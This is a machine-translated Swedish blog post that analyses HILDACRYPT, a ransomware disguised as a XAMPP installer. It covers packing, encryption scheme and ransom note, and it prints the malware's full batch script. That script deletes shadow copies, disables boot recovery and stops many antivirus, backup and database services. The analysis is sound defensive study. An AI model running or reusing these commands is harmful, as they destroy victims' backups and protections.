{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: En ny ransomware-programvara sl\u00e5r till mot backup-system och antivirusl\u00f6sningar","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hej, Habr! \u00c5terigen ber\u00e4ttar vi om de senaste versionerna av skadlig programvara i ransomware-kategorin. HILDACRYPT \u00e4r ett nytt ransomware-program, en representant f\u00f6r familjen Hilda som uppt\u00e4cktes i augusti 2019, uppkallad efter en animerad serie fr\u00e5n streamingtj\u00e4nsten Netflix som anv\u00e4ndes f\u00f6r spridning av programvaran. Idag bekantar vi oss med de tekniska egenskaperna hos detta uppdaterade ransomware.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nI den f\u00f6rsta versionen av Hilda-ransomware fanns en l\u00e4nk till en trailer f\u00f6r den animerade serien i l\u00f6senkravet. HILDACRYPT masqueraderar som en legitim installerare av XAMPP \u2014 en enkel installationspaket av Apache som inkluderar MariaDB, PHP och Perl. Dessutom har kryptolockaren ett annat filnamn \u2014 xamp. Dessutom har ransomware-programmet ingen digital signatur.<\/a><\/noindex> Ransomware-programmet \u00e4r inb\u00e4ddat i en PE32 .NET-fil, skriven f\u00f6r MS Windows. Dess storlek \u00e4r 135 168 byte. B\u00e5de den huvudsakliga programkoden och skyddskodens kod \u00e4r skrivna i C#. Enligt kompileringstidens datum och tid skapades den bin\u00e4ra filen den 14 september 2019.<\/p>\n

Static analysis<\/h3>\n

\nEnligt Detect It Easy \u00e4r ransomware-programmet paketerat med hj\u00e4lp av Confuser och ConfuserEx, men dessa obfuskatorer \u00e4r som tidigare, bara att ConfuserEx \u00e4r en eftertr\u00e4dare till Confuser, s\u00e5 signaturerna f\u00f6r deras koder \u00e4r liknande.<\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT \u00e4r verkligen packad med hj\u00e4lp av ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a <\/p>\n

\"HILDACRYPT:
\n
\nDet \u00e4r troligt att ransomware-programmet uppt\u00e4cktes p\u00e5 en av webbplatserna om webbutveckling, masqueraderande som ett legitimt XAMPP-program.<\/p>\n

Angreppsvector<\/h3>\n

\nHela infektionskedjan kan ses i<\/p>\n

app.any.run sandbox Raderna i ransomware-programmet lagras i krypterad form. N\u00e4r HILDACRYPT k\u00f6rs dekrypterar den dem med hj\u00e4lp av Base64 och AES-256-CBC.<\/a><\/noindex>.<\/p>\n

Obfuskering <\/h3>\n

\nF\u00f6rst skapar ransomware-programmet en mapp i %AppDataRoaming% d\u00e4r GUID (Globally Unique Identifier) genereras slumpm\u00e4ssigt. Genom att l\u00e4gga till en bat-fil i denna plats, startar ransomware-programmet den med hj\u00e4lp av cmd.exe:<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installation<\/h3>\n

\ncmd.exe \/c JKfgkgj3hjgfhjka.bat & exit<\/p>\n

D\u00e4refter b\u00f6rjar den k\u00f6ra ett batchscript f\u00f6r att st\u00e4nga av systemfunktioner eller tj\u00e4nster.
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nScriptet inneh\u00e5ller en l\u00e5ng lista med kommandon som anv\u00e4nds f\u00f6r att ta bort skuggs\u00e4kringskopior, st\u00e4nga av SQL-servern, s\u00e4kerhetskopieringar och antivirusl\u00f6sningar.<\/p>\n

\"HILDACRYPT:
\n
\nSkriptet inneh\u00e5ller en l\u00e5ng lista med kommandon som anv\u00e4nds f\u00f6r att ta bort skuggbilder, st\u00e4nga av SQL-server, s\u00e4kerhetskopiera och antivirusl\u00f6sningar.<\/p>\n

Till exempel f\u00f6rs\u00f6ker han utan framg\u00e5ng stoppa Acronis Backup-bevakningstj\u00e4nster. Dessutom attackerar han backupsystem och antivirusl\u00f6sningar fr\u00e5n f\u00f6ljande leverant\u00f6rer: Veeam, Sophos, Kaspersky, McAfee och andra.<\/p>\n

@echo off\n:: Jag \u00e4r inte riktigt f\u00f6rtjust i ponnyer, tecknade tjejer \u00e4r b\u00e4ttre, eller hur?\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=unbounded\nbcdedit \\\/set {default} recoveryenabled No\nbcdedit \\\/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \\\/all \\\/quiet\nnet stop SQLAgent$SYSTEM_BGC \\\/y\nnet stop \u201cSophos Device Control Service\u201d \\\/y\nnet stop macmnsvc \\\/y\nnet stop SQLAgent$ECWDB2 \\\/y\nnet stop \u201cZoolz 2 Service\u201d \\\/y\nnet stop McTaskManager \\\/y\nnet stop \u201cSophos AutoUpdate Service\u201d \\\/y\nnet stop \u201cSophos System Protection Service\u201d \\\/y\nnet stop EraserSvc11710 \\\/y\nnet stop PDVFSService \\\/y\nnet stop SQLAgent$PROFXENGAGEMENT \\\/y\nnet stop SAVService \\\/y\nnet stop MSSQLFDLauncher$TPSAMA \\\/y\nnet stop EPSecurityService \\\/y\nnet stop SQLAgent$SOPHOS \\\/y\nnet stop \u201cSymantec System Recovery\u201d \\\/y\nnet stop Antivirus \\\/y\nnet stop SstpSvc \\\/y\nnet stop MSOLAP$SQL_2008 \\\/y\nnet stop TrueKeyServiceHelper \\\/y\nnet stop sacsvr \\\/y\nnet stop VeeamNFSSvc \\\/y\nnet stop FA_Scheduler \\\/y\nnet stop SAVAdminService \\\/y\nnet stop EPUpdateService \\\/y\nnet stop VeeamTransportSvc \\\/y\nnet stop \u201cSophos Health Service\u201d \\\/y\nnet stop bedbg \\\/y\nnet stop MSSQLSERVER \\\/y\nnet stop KAVFS \\\/y\nnet stop Smcinst \\\/y\nnet stop MSSQLServerADHelper100 \\\/y\nnet stop TmCCSF \\\/y\nnet stop wbengine \\\/y\nnet stop SQLWriter \\\/y\nnet stop MSSQLFDLauncher$TPS \\\/y\nnet stop SmcService \\\/y\nnet stop ReportServer$TPSAMA \\\/y\nnet stop swi_update \\\/y\nnet stop AcrSch2Svc \\\/y\nnet stop MSSQL$SYSTEM_BGC \\\/y\nnet stop VeeamBrokerSvc \\\/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \\\/y\nnet stop VeeamDeploymentService \\\/y\nnet stop SQLAgent$TPS \\\/y\nnet stop DCAgent \\\/y\nnet stop \u201cSophos Message Router\u201d \\\/y\nnet stop MSSQLFDLauncher$SBSMONITORING \\\/y\nnet stop wbengine \\\/y\nnet stop MySQL80 \\\/y\nnet stop MSOLAP$SYSTEM_BGC \\\/y\nnet stop ReportServer$TPS \\\/y\nnet stop MSSQL$ECWDB2 \\\/y\nnet stop SntpService \\\/y\nnet stop SQLSERVERAGENT \\\/y\nnet stop BackupExecManagementService \\\/y\nnet stop SMTPSvc \\\/y\nnet stop mfefire \\\/y\nnet stop BackupExecRPCService \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop klnagent \\\/y\nnet stop MSExchangeSA \\\/y\nnet stop MSSQLServerADHelper \\\/y\nnet stop SQLTELEMETRY \\\/y\nnet stop \u201cSophos Clean Service\u201d \\\/y\nnet stop swi_update_64 \\\/y\nnet stop \u201cSophos Web Control Service\u201d \\\/y\nnet stop EhttpSrv \\\/y\nnet stop POP3Svc \\\/y\nnet stop MSOLAP$TPSAMA \\\/y\nnet stop McAfeeEngineService \\\/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \\\/y\nnet stop MSSQL$SBSMONITORING \\\/y\nnet stop ReportServer$SYSTEM_BGC \\\/y\nnet stop AcronisAgent \\\/y\nnet stop KAVFSGT \\\/y\nnet stop BackupExecDeviceMediaService \\\/y\nnet stop MySQL57 \\\/y\nnet stop McAfeeFrameworkMcAfeeFramework \\\/y\nnet stop TrueKey \\\/y\nnet stop VeeamMountSvc \\\/y\nnet stop MsDtsServer110 \\\/y\nnet stop SQLAgent$BKUPEXEC \\\/y\nnet stop UI0Detect \\\/y\nnet stop ReportServer \\\/y\nnet stop SQLTELEMETRY$ECWDB2 \\\/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \\\/y\nnet stop MSSQL$BKUPEXEC \\\/y\nnet stop SQLAgent$PRACTTICEBGC \\\/y\nnet stop MSExchangeSRS \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop McShield \\\/y\nnet stop SepMasterService \\\/y\nnet stop \u201cSophos MCS Client\u201d \\\/y\nnet stop VeeamCatalogSvc \\\/y\nnet stop SQLAgent$SHAREPOINT \\\/y\nnet stop NetMsmqActivator \\\/y\nnet stop kavfsslp \\\/y\nnet stop tmlisten \\\/y\nnet stop ShMonitor \\\/y\nnet stop MsDtsServer \\\/y\nnet stop SQLAgent$SQL_2008 \\\/y\nnet stop SDRSVC \\\/y\nnet stop IISAdmin \\\/y\nnet stop SQLAgent$PRACTTICEMGT \\\/y\nnet stop BackupExecJobEngine \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop BackupExecAgentBrowser \\\/y\nnet stop VeeamHvIntegrationSvc \\\/y\nnet stop masvc \\\/y\nnet stop W3Svc \\\/y\nnet stop \u201cSQLsafe Backup Service\u201d \\\/y\nnet stop SQLAgent$CXDB \\\/y\nnet stop SQLBrowser \\\/y\nnet stop MSSQLFDLauncher$SQL_2008 \\\/y\nnet stop VeeamBackupSvc \\\/y\nnet stop \u201cSophos Safestore Service\u201d \\\/y\nnet stop svcGenericHost \\\/y\nnet stop ntrtscan \\\/y\nnet stop SQLAgent$VEEAMSQL2012 \\\/y\nnet stop MSExchangeMGMT \\\/y\nnet stop SamSs \\\/y\nnet stop MSExchangeES \\\/y\nnet stop MBAMService \\\/y\nnet stop EsgShKernel \\\/y\nnet stop ESHASRV \\\/y\nnet stop MSSQL$TPSAMA \\\/y\nnet stop SQLAgent$CITRIX_METAFRAME \\\/y\nnet stop VeeamCloudSvc \\\/y\nnet stop \u201cSophos File Scanner Service\u201d \\\/y\nnet stop \u201cSophos Agent\u201d \\\/y\nnet stop MBEndpointAgent \\\/y\nnet stop swi_service \\\/y\nnet stop MSSQL$PRACTICEMGT \\\/y\nnet stop SQLAgent$TPSAMA \\\/y\nnet stop McAfeeFramework \\\/y\nnet stop \u201cEnterprise Client Service\u201d \\\/y\nnet stop SQLAgent$SBSMONITORING \\\/y\nnet stop MSSQL$VEEAMSQL2012 \\\/y\nnet stop swi_filter \\\/y\nnet stop SQLSafeOLRService \\\/y\nnet stop BackupExecVSSProvider \\\/y\nnet stop VeeamEnterpriseManagerSvc \\\/y\nnet stop SQLAgent$SQLEXPRESS \\\/y\nnet stop OracleClientCache80 \\\/y\nnet stop MSSQL$PROFXENGAGEMENT \\\/y\nnet stop IMAP4Svc \\\/y\nnet stop ARSM \\\/y\nnet stop MSExchangeIS \\\/y\nnet stop AVP \\\/y\nnet stop MSSQLFDLauncher \\\/y\nnet stop MSExchangeMTA \\\/y\nnet stop TrueKeyScheduler \\\/y\nnet stop MSSQL$SOPHOS \\\/y\nnet stop \u201cSQL Backups\u201d \\\/y\nnet stop MSSQL$TPS \\\/y\nnet stop mfemms \\\/y\nnet stop MsDtsServer100 \\\/y\nnet stop MSSQL$SHAREPOINT \\\/y\nnet stop WRSVC \\\/y\nnet stop mfevtp \\\/y\nnet stop msftesql$PROD \\\/y\nnet stop mozyprobackup \\\/y\nnet stop MSSQL$SQL_2008 \\\/y\nnet stop SNAC \\\/y\nnet stop ReportServer$SQL_2008 \\\/y\nnet stop BackupExecAgentAccelerator \\\/y\nnet stop MSSQL$SQLEXPRESS \\\/y\nnet stop MSSQL$PRACTTICEBGC \\\/y\nnet stop VeeamRESTSvc \\\/y\nnet stop sophossps \\\/y\nnet stop ekrn \\\/y\nnet stop MMS \\\/y\nnet stop \u201cSophos MCS Agent\u201d \\\/y\nnet stop RESvc \\\/y\nnet stop \u201cAcronis VSS Provider\u201d \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop MSSQLFDLauncher$SHAREPOINT \\\/y\nnet stop \u201cSQLsafe Filter Service\u201d \\\/y\nnet stop MSSQL$PROD \\\/y\nnet stop SQLAgent$PROD \\\/y\nnet stop MSOLAP$TPS \\\/y\nnet stop VeeamDeploySvc \\\/y\nnet stop MSSQLServerOLAPService \\\/y\ndel %0\n<\/code><\/pre>\n
\nN\u00e4r ovan n\u00e4mnda tj\u00e4nster och processer har st\u00e4ngts av samlar kryptolocker information om alla aktiva processer med hj\u00e4lp av kommandot tasklist f\u00f6r att s\u00e4kerst\u00e4lla att alla n\u00f6dv\u00e4ndiga tj\u00e4nster inte fungerar. 
\ntasklist v \/fo csv<\/i><\/p>\n
Detta kommando ger en detaljerad lista \u00f6ver aktiva processer, d\u00e4r elementen \u00e4r \u00e5tskilda med kommatecken. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,<\/>,\u00ab0:00:03\u00bb,<\/>
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nEfter denna kontroll b\u00f6rjar ransomware-programmet krypteringsprocessen. <\/p>\n
Kryptering 
\n<\/h3>\n
Kryptering av filer<\/h4>\n
\nHILDACRYPT g\u00e5r igenom allt inneh\u00e5ll p\u00e5 h\u00e5rddiskarna, f\u00f6rutom mapperna Recycle.Bin och Reference AssembliesMicrosoft. Den senare inneh\u00e5ller kritiskt viktiga filer som dll, pdb, osv. f\u00f6r .Net-appar, som kan p\u00e5verka ransomware-programmets funktion. F\u00f6r att leta efter filer som ska krypteras anv\u00e4nds f\u00f6ljande lista \u00f6ver fil\u00e4ndelser:<\/p>\n
\u00ab.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md\u00bb
\n<\/i>
\nF\u00f6r att kryptera anv\u00e4ndarens filer anv\u00e4nder ransomware-programmet algoritmen AES-256-CBC. Nyckelns storlek \u00e4r 256 bitar och storleken p\u00e5 initieringsvektorn (IV) \u00e4r 16 byte. <\/p>\n
\"HILDACRYPT:
\n
\nI n\u00e4sta sk\u00e4rmdump har v\u00e4rdena byte_2 och byte_1 genererats slumpm\u00e4ssigt med GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nNyckeln<\/p>\n
\"HILDACRYPT:
\n
\nV.I.<\/p>\n
\"HILDACRYPT:
\n
\nDen krypterade filen har fil\u00e4ndelsen HCY!.. Det h\u00e4r \u00e4r ett exempel p\u00e5 en krypterad fil. Nyckeln och IV som n\u00e4mndes ovan har skapats f\u00f6r den h\u00e4r filen. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Kryptering av nycklar<\/h4>\n
\nKryptolocker sparar den genererade AES-nyckeln i den krypterade filen. Den f\u00f6rsta delen av den krypterade filen har en header som inneh\u00e5ller data som HILDACRYPT, KEY, IV, FileLen i XML-format och ser ut som f\u00f6ljer:<\/p>\n
\"HILDACRYPT:
\n
\nKrypteringen av AES-nyckeln och IV sker med RSA-2048, medan kodningen g\u00f6rs med Base64. Den offentliga RSA-nyckeln lagras i kryptolockern i en av de krypterade raderna i XML-format.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Den offentliga RSA-nyckeln anv\u00e4nds f\u00f6r att kryptera AES-filen. Den offentliga RSA-nyckeln \u00e4r kodad med Base64 och best\u00e5r av en modul och den offentliga exponenten 65537. F\u00f6r dekryptering kr\u00e4vs den privata RSA-nyckeln som angriparen har.<\/p>\n
Efter RSA-krypteringen kodas AES-nyckeln med hj\u00e4lp av Base64, som sparas i den krypterade filen.<\/p>\n
L\u00f6sepunktsmeddelande<\/h3>\n
\nN\u00e4r krypteringen \u00e4r klar skriver HILDACRYPT en html-fil i den mapp d\u00e4r den krypterade filerna finns. Ransomware-notifikationen inneh\u00e5ller tv\u00e5 e-postadresser som offret kan kontakta angriparen genom.<\/p>\n